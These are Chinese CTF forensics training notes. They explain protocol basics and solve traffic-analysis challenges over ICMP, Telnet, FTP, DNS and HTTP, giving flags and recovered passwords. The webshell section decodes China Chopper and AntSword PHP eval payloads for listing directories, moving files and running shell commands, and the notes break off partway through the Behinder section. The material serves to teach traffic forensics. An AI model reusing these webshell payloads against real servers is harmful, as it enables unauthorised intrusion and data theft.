CTF训练营-forensics
CTF训练营-forensics
hihopkc网络流量分析
网络流量分析是指利用分析技术和统计手段对网络数据包进行处理,从而实现对网络的行为分析、性能分析和故障诊断等。它也是网络取证中经常使用的手段。
在几乎所有的CTF 比赛中,都会涉及对网络流量分析能力的考查,尤其是在企业或者行业内部的比赛中,此类题目属于必考题目。这类题目的难度适中,涉及的知识面广泛,能有效结合企业内部的业务,因此建议各位读者重点关注并熟练掌握。
进行网络流量分析需要掌握多方面的知识,不仅涉及杂项知识,还需要结合 Web 渗透等方面的基础知识。
网络协议的基础知识
网络协议是为在网络中进行数据交换而建立的规则、标准或约定的集合,通常也简称为协议。互联网的核心是一系列协议,总称为互联网协议(Internet Protocol Suite),它们对计算机如何连接和组网做出了详尽的规定,一个协议通常只为一个目的而设计。那么应该如何设计网络协议呢?
ARPANET(阿帕网)是美国国防高级研究计划局开发的世界上第一个运营的数据包交换网络,是全球互联网的鼻祖。但是,ARPANET 无法和使用不同操作系统的计算机进行网络交流,这引发了研究者的思考。ARPANET的研制经验表明,对于非常复杂的网络协议,其结构应该是层次式的。1984 年,国际标准化组织(Interational Organization forStandardization,ISO)发布了ISO/IEC 7498标准,它定义了网络互连的7层框架,也就是开放式系统互连参考模型(Open System Interconnection Reference Model,OSI/RM)
层次 | 说明 |
---|---|
应用层 | OSI体系结构中的最高层,是网络服务与最终用户的一个接口 |
表示层 | 实现数据的表示、压缩和安全性 |
会话层 | 建立、管理、终止会话 |
传输层(运输层) | 定义传输数据的协议端口号,以及流量控制和差错校验等 |
网络层(网际层) | 进行逻辑地址寻址,实现不同网络之间的路径选择 |
数据链路层 | 实现建立逻辑链路、物理地址寻址、差错校验等功能 |
物理层 | 利用传输介质为数据链路层提供物理连接,实现比特流的透明传输 |
OSI期望达到一种理想境界,即全球网络都遵循这个统一的标准,因此在标准制定的过程中试图涵盖当时最先进的技术,导致制定周期漫长。当OSI标准还在讨论时,一种新的网络协议在工业界被广泛采纳,而且被众多厂商使用,这就是TCP/IP。于是,OSI面临着非常尴尬的局面:大公司和厂商都认可 OSI,但几乎找不到厂商能生产出符合 OSI标准的商用产品;而基于TCP/IP 的互联网已抢先在全球大范围运行,成为事实上的国际标准。
传输控制协议/网际协议(Transmission Control Protocol/Internet Protocol,TCP/IP)包含应用层、传输层(也称为运输层)、网络层(也称为网际层) 和网络接口层。但在学习计算机网络原理时,往往采取折中的方法,综合 OSI和TCP/IP 的优点,采用一个五层协议的体系结构,这样的体系结构称为协议栈。不同协议栈的体系如下图所示。
有了协议栈的概念,我们就可以描述主机之间是如何通信的,如图1.22所示。主机A、B、C均有自己的网络协议栈,A向B发起请求,需要使用协议栈中各层提供的服务。图中的客户端程序和服务端程序都可以看作进程,若仅考虑进程之间的交互,则可以看作虚线表示的连接。对于相应的协议,我们可以按照下面的描述简单理解,网络层的IP 协议头部会保存要连接的主机的IP 地址,传输层的 TCP或UDP 的头部会保存端口信息,IP地址可以确定连接的主机,但不能确定是哪个进程,端口信息可以确定和哪个进程完成信息交互。
CTF流量分析的通用方法
打开离线流量文件后,可以先观察一下分组数。如果分组数小于1000个,可以手工逐个数据包查看。因为当数据包个数较少时,协议分级的效果并不明显。而且,如果题目的分组数较少,说明考点较为直接,杂包过滤可能并不是重点。
如果分组数较多,通过协议分级可以看到各协议所占的比例。如果流量中存在Telnet、FTP、ICMP等明文传输协议,建议通过追踪流或过滤的方法,优先查看这些协议的通信过程。
如果没有上述协议,而是存在大量的HTTP(所谓“大量”,一般是指字节数占比较大),那么HTTP就是接下来分析的重点。通过“统计-HTTP-请求”工具,可以查看所有URL的详细信息。对于一般的Wb流量,通过URL就可以看到所有请求的资源。如果是SQL注入攻击流量,在URL中会有大量的SQL特征。如果是菜刀、蚁剑等工具生成的流量,会存在大量的POST包,通过逐个查看POST请求的返回包,也可以掌握通信过程。关于HTTP的详细分析方法会在后面内容中说明。
如果离线文件中均无上述协议,就需要结合题目的描述进行针对性分析。例如,若题目中存在大量DNS协议,就需要重点关注查询的域名以及对该域名的响应。假如存在USB协议,则需要结合协议载荷判断设备类型,再根据设备通信规则复原出传输的信息。
ICMP
ICMP(Internet Control Message Protocol)也称为Internet 控制报文协议,它允许主机或路由器报告差错情况,并提供有关异常的报告。这些控制消息虽然不传输用户数据,但是对于用户数据的传递起着重要作用。需要注意的是:ICMP并不是高层协议,它和IP 同属于网络层,但是ICMP报文封装到IP数据报中。ICMP报文如图所示,它的报文头部为8字节,定义如下:
1 | typedef struct _icmphdr{ |
ICMP的一个重要应用是分组网间探测(Packet InterNet Groper,PING),它可以用于测试两个主机之间的连通性。PING使用了ICMP 回送(echo)请求与回送回答报文。ICMP echo报文如下所示
不难发现,数据部分可以用来传输消息。不同操作系统的数据部分的填充方法略有区别:在Windows系统下采用小写字母aw循环:在Linux系统下,使用“-p”选项可以指定发送的数据,默认是0x000xFF的循环
此时,读者们应该能想到ICMP的一种出题方法,就是在数据部分隐藏flag,将flag编码或者加密后经ICMP 请求包传输。这个考点较为简单,在发现ICMP数据部分异常后就转化为上节介绍的常见编码的问题。
数据部分明文传输的相关题目比较简单,为了增加比赛难度,一些出题人会想出新的考点。ICMP的另一个考点是以数据部分的长度表示要传输的信息,其本质是基于文本的信息隐藏
例题fetus_pcap.pcap
不久前,运维人员在日常安全检查的时候发现现场某设备会不时向某不知名ip发出非正常的ICMP PING包。这引起了运维人员的注意,他在过滤出ICMP包分析并马上开始做应急处理很可能已被攻击的设备。运维人员到底发现了什么? flag形式为 flag{}
流量分析题,分析的方法基本上有:binwalk、查找一些可疑字符串或16进制数据,排序流量包的长度(最长的流量包一般很可疑);当我们对流量包的长度进行排序时,发现流量包最短90字节,最长也不过164字节,其中的data段数据长度从48到122,而ascii表中第48至122个字符为0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_`abcdefghijklmnopqrstuvwxyz,于是将每个流量包的长度转换为对应字符,然后连接成一段长字符串,看上去像base64编码,对字符串进行base64解码即可!
1 | from pyshark.capture.file_capture import FileCapture |
1 | ┌──(kali㉿kali)-[~/Desktop] |
Telnet
Telnet是 Internet远程登录服务的标准协议和主要方式,为用户提供了在本地计算机上远程管理主机的能力。实际上,Telnet 的出现早于 TCP/IP 协议簇的其他应用层协议。它默认TCP 端口号为23。Telnet 的一个特点是以明文
方式传输所有数据,这也意味着如果捕获了Telnet 网络流量,就可能找到远程登录的用户名和密码。作为一种不安全的远程登录协议,Telnet 几乎被 SSH 协议所替代,只有在某些场景下才会使用 Telnet 远程登录
Telnet有四种工作模式,这里重点介绍两种。第一种是一次一字符模式,当用户输入命令时,每按一个键,Telnet 客户端会立刻把该字符发送给远程服务器,然后从TCP 连接上读取收到的字符,返回给 Telnet 客户端,显示给用户看。大部分Telnet 默认采用这种工作模式
第二种是准行模式(kludge line mode),用户每键入一行信息,客户端向服务器发送一次信息
Telnet的考点主要是获取用户登录时的正确密码,通常采用一次一字符模式进行传输下面举例说明。
例题packet2.pcapng
从流量中找到flag
【解题思路】协议分级后发现 Tenet 协议,将其过滤出来,选择追踪 TCP 流
红色字段是客户端向服务器发送的数据,蓝色字段是服务器向客户端发送的数据。
在login(也就是用户名输入)时,我们发现客户端每发一个字符,服务端就把这个字符再发一遍,符合一次一字符模式的传输特征。Password字段中有一些“.”,这其实是不可打印字符。
“Show data as”选择为“HEX转储”
可以看到客户端输人了ASCII字符0x08,这个字符是 backspace,也就是删除,这意味着用户在输入过程中删除了一些字符。那么如何确定删除了多少个字符?一个简单的方法是看客户端发了多少个 0x08。所以,本题中正确的密码是 0p-!@@#cttT。
04Networking
来源: CSAW Quals CTF 2013 题目:Networking 类型: Network 分数: 100 难度:易 描述: Find the flag!
随便点击一条数据
右键追踪TCP流
flag{d316759c281bf925d600be698a4973d5}
08Telnet用户密码抓取
找到这个telnet会话的账户和密码 格式 flag{login:xxx&password:xxx}
flag{login:fake&password:user}
46telnet_cmd
黑客通过Telnet进入了我的电脑,你知道他找到了什么机密信息吗?
key{ZmlsZUB6aXAua}
FTP
FTP
( File Transfer Protocol
,即文件传输协议) 是 TCP/IP
协议组中的协议之一。 FTP
协议包括两个组成部分,其一为 FTP
服务器,其二为 FTP
客户端。其中 FTP
服务器用来存储文件,用户可以使用 FTP
客户端通过 FTP
协议访问位于 FTP
服务器上的资源。在开发网站的时候,通常利用 FTP
协议把网页或程序传到 Web
服务器上。此外,由于 FTP
传输效率非常高,在网络上传输大的文件时,一般也采用该协议。
默认情况下 FTP
协议使用 TCP
端口中的 20
和 21
这两个端口,其中 20
用于传输数据, 21
用于传输控制信息。但是,是否使用 20
作为传输数据的端口与 FTP
使用的传输模式有关,如果采用主动模式,那么数据传输端口就是 20
;如果采用被动模式,则具体最终使用哪个端口要服务器端和客户端协商决定。
FTP 命令由3~4个字母组成,命令后面跟参数,用空格分开。每个命令都以“\r\n”结束。常用的FTP命令有USER、PASS、SIZE、REST、CWD、RETR、PASV、PORT、QUIT等。各命令含义如下:
USER
:指定用户名。通常是控制连接后第一个发出的命令。“USER name\r\n”表示以用户名name登录。
PASS
:指定用户密码。该命令紧跟在USER命令后。“PASS 123456\r\n”表示密码为123456。
SIZE
:从服务器上返回指定文件的大小。“SIZE file.txt\r\n”表示如果file.txt文件存在,则返回该文件的大小。
CWD
:改变工作目录,如“CWD dirname\r\n”
PASV
:让服务器在数据端口监听,进入被动模式,如“PASV\r\n”
PORT
:告诉FTP 服务器客户端监听的端口号,让服务器采用主动模式连接客户端,如“PORT h1,h2,h3,h4,p1,p2”。
REST
:下载文件。“RETR file.txt\r\n”表示下载文件 file.txt。
STOR
:上传文件。“STOR file.txt\r\n”表示上传文件 file.txt。
RETR
:该命令并不传送文件,而是忽略指定点后的数据。此命令后应该跟其他要求文件传输的FTP命令。比如,“REST 100\r\n”表示重新指定文件传送的偏移量为100字节。
QUIT
:关闭与服务器的连接
09FTP
获取ftp密码进行提交 An authenticated file exchange achieved through FTP. Recover the password used by the user.
首先输入ftp进行过滤
得到
USER cdts3500
PASS cdts3500
17WhyNotSftp
很认真,为什么不呢?
名称暗示了FTP的使用情况,所以让我们通过在过滤器框中输入ftp-data来过滤FTP-DATA协议上的数据包捕获。点击标号为413的捕获
单击底部的“另存为”按钮,并将其另存为* .zip文件。解压文件,然后打开里面的flag.png。它显示
flag{91e02cd2b8621d0c05197f645668c5c4}
20leaks-suspected
Alice发现重要的zip文件被攻击者泄露。 攻击者无法删除日志。 分析损坏的pcap文件并查找泄露的文件。flag格式:key{xxx}
打开后发现不可以
发现
那我直接binwalk
73686b696b7475
这是什么呢
十六进制
shkiktu
所以key{shkiktu}
40ftp-data
我们捕获了一个FTP数据包,找到他传输的数据
导出ftp对象
key{theSecretFileByFtp}
41ssPacket
黑客通过FTP下载了一个加密压缩文件,试着找到解压密码并打开它 格式 flag{xxx}
然后http筛选一下
the unzip secret is ss_img
flag{ssecret_infooMationn}
50fftp
小黑用ftp下载了一个flag.jpg,却没有flag,你帮他找到
导出ftp对象
然后010editor打开
f12搜索flag
flag{9XyMzJU8nEo9UgvhLO96ruIf1gmNIQ9t}
DNS
TCP/IP协议簇中使用IP地址和端口号来确定网络上某一台主机中的某一个服务,那么为什么不用域名来直接进行通信呢? 因为IP地址的长度是固定的,而域名的长度是可变的可变的域名不便于计算机处理,而IP地址对于用户来说不方便记忆,但域名便于用户使用总结来说就是:IP地址是面向主机的,而域名是面向用户的。
DNS(Domain NameSystem)也称为域名系统,是将域名和IP地址相映射的一个分布式数据库,能够让用户更方便地访问互联网。DNS协议运行在UDP/TCP之上默认端口号是 53。
下面是DNS域名查询的一个例子,query 表示查询query response是对查询的响应0xf4d7是会话标识,因为大部分DNS报文是基于UDP的,通过会话标识可以区分DNS应答报文是对哪个请求的响应。图中查询的域名是 google.ca,查询到的IP地址是173.194.46.88
Wireshark对DNS的解析结果见下图,下图解析了DNS查询响应报文Queries下面给出的是查询的域名Answers下面给出的是域名对应的IP地址。本例中,google.ca 共查询到 3个IP 地址。
例题DNS.pcap
从流量中找到flag
【解题思路】通过查询协议分级信息,结合题目名称,发现DNS报文数据量比较大,考虑重点查看DNS。在显示过滤器中输入“DNS”后,还能看到一些ICMP报文,修改过滤规则为“dns&&!icmp”,把ICMP报文过掉。过滤出来的第一个数据包查询的域名为5647687063794270.192.168.191.129,这个域名有明显的问题。考虑把同一个IP地址请求的DNS都过滤出来,新的过滤规则是“dns&&!icmp&&ip.addr==192.168.191.128”,可以发现这个IP地址把每个异常域名都请求了2次。把所有可疑域名提取出来,去除所有的“.192.168.191.129”,重复项仅保留一个,再拼接到一起,就得
Name: 56476870637942706379426849484e6c59334a6c64434230636d4675633231706448526c5a43423061484a766457646f494752756379427864575679655341364b534247544546484c555a554e44646a545667794e6e425865555a5453545a53554664685533493157564a330a
利用ASCII解码和base64解码得到
This is a secret transmitted through dns query :) FLAG-FT47cMX26pWyFSI6RPWaSr5YRw
05Dns
把可疑包的信息进行整理收集以后得出:
5647687063794270
6379426849484e6c
59334a6c64434230
636d467563323170
6448526c5a434230
61484a766457646f
4947527563794278
6457567965534136
4b53424754454648
4c555a554e44646a
545667794e6e4258
65555a5453545a53
5546646855334931
57564a330a
即:56476870637942706379426849484e6c59334a6c64434230636d4675633231706448526c5a43423061484a766457646f494752756379427864575679655341364b534247544546484c555a554e44646a545667794e6e425865555a5453545a53554664685533493157564a330a
This is a secret transmitted through dns query :) FLAG-FT47cMX26pWyFSI6RPWaSr5YRw
Http/Https
https://ctf-wiki.org/misc/traffic/protocols/http/
HTTP
( Hyper Text Transfer Protocol
),也称为超文本传输协议) 是一种用于分布式、协作式和超媒体信息系统的应用层协议。 HTTP
是万维网的数据通信的基础。
https://ctf-wiki.org/misc/traffic/protocols/https/
HTTPs = HTTP + SSL / TLS
. 服务端和客户端的信息传输都会通过 TLS 进行加密,所以传输的数据都是加密后的数据
02Http
题目:数据包分析 描述:请根据题目去下载相应的数据包http.pcap 对其进行分析得到flag flag格式: flag{}
导出http对象
FLAG-GehFMsqCeNvof5szVpB2Dmjx
03Forensics-Four Eyes
You are a member of a covert agency that is spying on one of their intelligence targets. They have managed to MiTM (Man-in-The-Middle) one of the target employees and are monitoring his HTTP traffic. It is of vital importance that you extract the correct password he submitted to www.2dehands.be.
首先过滤一下
找到post包
safefromNSA
12tribalwars账户密码
根据所给的数据包分析出tribalwars网站账户和密码 flag{username=xxx&password=xxx}
1 | http.host contains "tribalwars" |
找到post包
user=Falken&password=Joshua
flag{username=Falken&password=Joshua}
19Espionage
来源:Cyber Security Challenge 2015 题目:Espionage 类型: Forensics 分数: 300 难度:难 描述: 我们怀疑我们的一名员工正在向竞争对手出售秘密。我们还没有抓到他,但我们确实设法嗅一些交通。你能找出发生了什么事吗?flag为小写字符串
导出对象,按照大小排列,可以看到
然后我们右键,导出分组字节流
发现压缩包里面有个音频
怀疑是音频隐写
可以看到batman
23digital-camouflage
获取数据包中用户登录的密码。flag{xxx}
flag{KN1Z6PXVy9}
38HTTP头
据说http请求头能藏很多东西,找到flag flag{xxx}
theFlagInHttpHeader
flag{theFlagInHttpHeader}
48file_upload
小黑客登录我的网站,试图通过文件上传攻击我的网站,你知道他上传了什么吗?
导出对象,upload.php
IGZsYWd7SkZLektuaG8wVWs4a30=
flag{JFKzKnho0Uk8k}
考点2:菜刀、蚁剑流量分析
中国菜刀(简称菜刀)是一个网站 Webshell 管理程序,通过在网站中预先植人木马再利用菜刀和木马建立连接,从而达到攻击的目的。菜刀体积小,可提供文件下载、目录管理、虚拟终端等功能,受众多用户的喜爱。但是由于开发时间久远,越来越不能满足需求而且缺少团队维护,因此现在白帽黑客更倾向于使用蚁剑。蚁剑的英文名为 AntSword,是一款开源的跨平台网站管理工具,它主要供具有合法授权的渗透测试安全人员以及进行常规操作的网站管理员进行安全管理之用。
菜刀流量的特点是通过 HTTP 中的POST方法和木马后门建立连接,如图所示,其中,dvwa.php 是 PHP 一句话木马。
POST数据包中的内容经过 URL 编码后一般如下:
1 | cmd=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw== |
这段代码需要执行PHP语句,需要先用 Base64解码才能运行。Base64解码后的结如下:
1 | @ini_set("display_errors","0");//临时关闭php的错误显示功能 |
服务器返回的 HTTP 数据包不再进行编码,可以看到明文的返回结果:->C:/AppServ/www/uploads\tA:C:D:\tWindows NT WIN-J3FT8P9R9AQ 6.1 build 7600(SYSTEM)|<-。可以发现,PHP 脚本确实被运行,一般菜刀连接后的第一个包都会获取上述信息。接下来我们针对菜刀常见的列目录、上传、下载、虚拟终端等功能做详细分析。
(1)列目录
列目录是吧某个路径下的文件和文件夹遍历输出。URL解码后的POST实体如下:
1 | cmd=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7&z1=QzpcXA== |
1 | @ini_set("display_errors","0"); |
脚本的主要逻辑是:对 z1进行 Base64 解码,遍历解码后路径下的全部内容。代码打开指定目录的句柄,然后进行循环扫描,并附带名称、时间、大小、日期这四个参数,用\t拼在一起发送回客户端。z1解码后的内容是C:\\,表示会把 C盘根目录下的所有内容列出来。列目录是经常用到的功能,在流量中,z0 不会改变,z1 则根据目录的不同而变化。
(2)上传文件
上传文件的流量比较有特点,首先是有 3 个参数。URL解码后的流量特征如下:
1 | &cmd=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskZj1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JGM9JF9QT1NUWyJ6MiJdOyRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOyRjPXN0cl9yZXBsYWNlKCJcbiIsIiIsJGMpOyRidWY9IiI7Zm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MikkYnVmLj11cmxkZWNvZGUoIiUiLnN1YnN0cigkYywkaSwyKSk7ZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1Zik/IjEiOiIwIik7O2VjaG8oInw8LSIpO2RpZSgpOw==&z1=QzpcXEFwcFNlcnZcXHd3d1xcZmlsZXNcXHdvcmxkLnBuZw==&z2=89504E47...... |
z0解码后的结果如下:
1 | @ini_set("display_errors","0"); |
利用fwrite 函数把z2 数据写到 z1解码后的路径中,如果写文件成功,就返回1,否则返回0。z2经过 Base16 编码,提取出z2的数据,就能获上传的文件。z1 解码后的路径是 C:\\AppServ\\www\\files\\world.png。需要特别说明的是,文件上传完成后,菜刀会再做一次列目录操作,在列目录的返回包中就能看到 world.png文件。
(3)下载文件
下载文件也是菜刀经常用到的功能,其数据包的特点是: 文件路径明文显示,没有被编码。具体如下
1 | cmd=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRj1nZXRfbWFnaWNfcXVvdGVzX2dwYygpP3N0cmlwc2xhc2hlcygkX1BPU1RbInoxIl0pOiRfUE9TVFsiejEiXTskZnA9QGZvcGVuKCRGLCJyIik7aWYoQGZnZXRjKCRmcCkpe0BmY2xvc2UoJGZwKTtAcmVhZGZpbGUoJEYpO31lbHNle2VjaG8oIkVSUk9SOi8vIENhbiBOb3QgUmVhZCIpO307ZWNobygifDwtIik7ZGllKCk7&z1=C:\\AppServ\\www\\files\\hello.rar |
z0解码后的结果是:
1 | @ini_set("display_errors","0"); |
返回包以明文的方式包含上述 echo 指令打印的前缀 (“->|”)和要下载的文件。需要注意的是,如果要从流量中提取出菜刀工具下载的文件,一定要删除菜刀 PHP 代码添加的前缀,否则文件不能正常打开
(4)虚拟终端
虚拟终端是菜刀中一个非常实用的功能,就像攻击者获取了服务器 shell 一样,使得攻击者可以完成交互,获得更多的信息和操作。虚拟终端的流量如下:
1 | cmd=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOw0KQHNldF90aW1lX2xpbWl0KDApOw0KQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsNCmVjaG8oIi0+fCIpOzsNCiRwPWJhc2U2NF9kZWNvZGUoJF9QT1NUWyJ6MSJdKTsNCiRzPWJhc2U2NF9kZWNvZGUoJF9QT1NUWyJ6MiJdKTsNCiRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTsNCiRjPXN1YnN0cigkZCwwLDEpPT0iLyI/Ii1jICd7JHN9JyI6Ii9jIHskc30iOw0KJHI9InskcH0geyRjfSI7DQpAc3lzdGVtKCRyLiIgMj4mMSIpOzsNCmVjaG8oInw8LSIpOw0KZGllKCk7&z1=Y21k&z2=Y2QgL2QgIkQ6XHBocFN0dWR5XFdXV1x1cGxvYWQtbGFic1x1cGxvYWRcIiZ3aG9hbWkmZWNobyBbc10mY2QmZWNobyBbRV0= |
这段载荷有3个参数,但是第2个参数几乎总是¥21k,可以作为虚拟终端流量的强特征。
z0解码后为:
1 | @ini_set("display_errors","0"); |
z1解码后为:
1 | cmd |
z2解码后为:
1 | cd /d "D:\phpStudy\WWW\upload-labs\upload\"&whoami&echo [s]&cd&echo [E] |
将 z1、z2 的值解码后保存到 $p、$s 中,获取的 shell 文件的绝对路径保存到 $d 中通过判断绝对路径的第一位来区分 Linux 和 Windows 系统。本例中的路径是 Windows 系统路径,所以要执行的语句为:
1 | cmd /c cd /d "D:\phpStudy\WWW\upload-labs\upload\"&whoami&echo [s]&cd&echo [E] |
真正执行的命令为 whoami,并将结果重定向输出。
(5)解题技巧
目前,在 CTF 比赛中,菜刀流量主要考查列目录、文件上传/下载和虚拟终端等功能。我们当然可以逐个把 POST 数据包中的内容解码,查看代码逻辑,但这么做有些烦琐,一种更简单的方法是根据 POST 包的返回包内容猜测 POST 包中代码的功能
例题packet3.pcapng
根据协议分级,重点查看HTTP 协议数据包。
发现都是 POST请求,猜测可能是菜刀流量。我们首先查看第二个包,也就是第一个POST请求对应的返回包,其结果为”->|C:/AppServ/www/uploads\tA:C:D:\tWindows NT WIN-J3FT8P9R9AQ 6.1 build 7600(SYSTEM)|<-
“,此时可以确定第一个POST请求中的代码是为了获取系统信息。逐个查看 POST 请求的返回包,在第83个数据包中看到了rar 文件的头部,结合第 82个数据包,判断是从服务器下载hello.rar文件,将其导出。同理,对于第 234个数据包,服务器返回1,结合第 233个数包,判断是向服务器上传文件,将文件导出,再经过 Base16解码,得到一张 PNG 图片。将RAR 压缩包解压,结合 PNG 图片信息,得到完整的 flag:c7265f898a52fcc4
蚁剑的流量特征和菜刀有相似之处,都是通过 POST 请求发送脚本。但是蚁剑做了更多的优化,以减少流量特征。如图所示,在连接木马前可以选择编码器和解码器,除了菜刀默认的 Base64 编码,还可以选择 chr、rot 等方式。不仅 POST请求包可以被编码,返回包的数据也可以被编码,这增加了分析的难度。但是,上传和下载的文件不会被编码,可以被直接提取。
例题yijian.pcapng
协议分级后,重点关注HTTP 的协议数据,重点分析蚁剑的 POST请求和返回信息。
图中的 POST 请求包采用ROT3 的方式对传输内容加密,并且用boundary 分隔多个字段。boundary 的使用是蚁剑流量的特征之一,不难发现,返回包的内容也是经过ROT13 加密的。在第 60 个数据包发现了从服务器下载的 zip 压缩包,将其提取并解压后,就能看到 flag
06菜刀
跟例题packer3.pcapng一样,但我要做个补充
打开数据包,发现抓包文件很小,随便找个TCP数据包,右击选择“跟踪TCP码流”,根据会话内容很像是菜刀的数据包。选择“Statistcs”—>“Conversations”,选择TCP档,发现存在8个TCP会话
一个个分析,发现其中前5个会话是通过菜刀查看目录的一个操作,返回部分返回了一个目录中的内容(可通过对选中部分先进行URL解码,再进行Base64解码,即可看到菜刀执行的代码,进而分析其逻辑)。而第6个会话是一个下载文件的会话,第7个会话是一个上传文件的会话。
分析第6个会话,可以看到会话的逻辑是下载一个hello.rar的文件,随后web进行了响应,将hello.rar的内容返回给了客户端。这里因为服务器在响应时使用了Transfer-Encoding选项,所以这里不能直接使用“Save as”保存数据包中的内容再用winhex提取出来(可以是可以,但是这种方式保存下来的数据需要自己写个脚本进行处理然后才能用winhex提取文件,太麻烦)
那如何导出文件?选择“File”->“Export Objects”->“Http”,找到我们刚才下载文件会话的HTTP返回的那个Object,通过save as将其保存为文件。(通过这种方式提取出来的http数据,wiresahrk会自动帮我们解决采用Transfer-encoding传输的问题,而不需要我们自己去解决)
通过winhex打开刚刚保存的文件,将“->|”和“|<-”之间的数据保存为一个Rar文件。解压后发现是一张图片,里面有半个key。(“->|”和“|<-”为在传输数据时,菜刀加入的内容)
因为只有半个key,所以还需要分析上传逻辑。首先将菜刀的代码部分进行urldecode、base64解码还原出来,如图所示。很明显是一个上传文件的逻辑,这个无法用winhex提取文件,只能将菜刀的上传代码稍作修改,并在php环境下运行,即可以得到上传文件。
15菜刀密文抓取
导出30
发现有flag.tar.gz
那我直接就导出对象,另存为flag.tar.gz
key{8769fe393f2b998fa6a11afe2bfcd65e}
34Webshell
类型:Forensic 黑客通过webshell往Web服务器写入了一串机密信息,你能找出机密信息吗?
协议分析是http
发现是菜刀流量
1 | x=@eval(base64_decode($_POST[action]));&action=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOztlY2hvIEBmd3JpdGUoZm9wZW4oYmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pLCJ3IiksYmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pKT8iMSI6IjAiOztlY2hvKCJ8PC0iKTtkaWUoKTs%3D&z1=L3Zhci93d3cvaHRtbC9zZWNyZXQvczNjcjN0LnR4dA%3D%3D&z2=ZmxhZ3tJbmYwcm00dGkwbjUzY3VyaXR5fQ%3D%3D |
解码后
1 | x=@eval(base64_decode($_POST[action]));&action=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;echo @fwrite(fopen(base64_decode($_POST["z1"]),"w"),base64_decode($_POST["z2"]))?"1":"0";;echo("|<-");die(); |
考点 3:冰蝎流量分析
无论是菜刀还是蚁剑,在流量加密保护方面均存在较大的缺陷。为了更好地对流量加密、逃避防火墙拦截,冰蝎应运而生。冰蝎也是一个 Webshell 管理工具,它可以在HTTP明文协议中建立加密隧道,以躲避安全设备的检测。我们以2.0.1 版本为例,分析冰蝎的协议特征。它使用对称加密算法,加密过程总共分为三步:
1)密钥传递阶段。
客户端向服务器请求密钥,密钥是明文传递的。客户端向服务器发起GET请求以协商密钥,GET 请求的URI中只带一个参数,如图所示,URI中的pass 参数是冰蝎连接时的密码,等号后的数字是随机生成的。密钥位于服务器返回包的实体部分,一般是 16 字节的小写字母或数字。密协商阶段会发起多个 GET 请求,可以根据HTTP 头部字段的 cookie 值判断使用哪个密钥。
2)算法协商阶段。
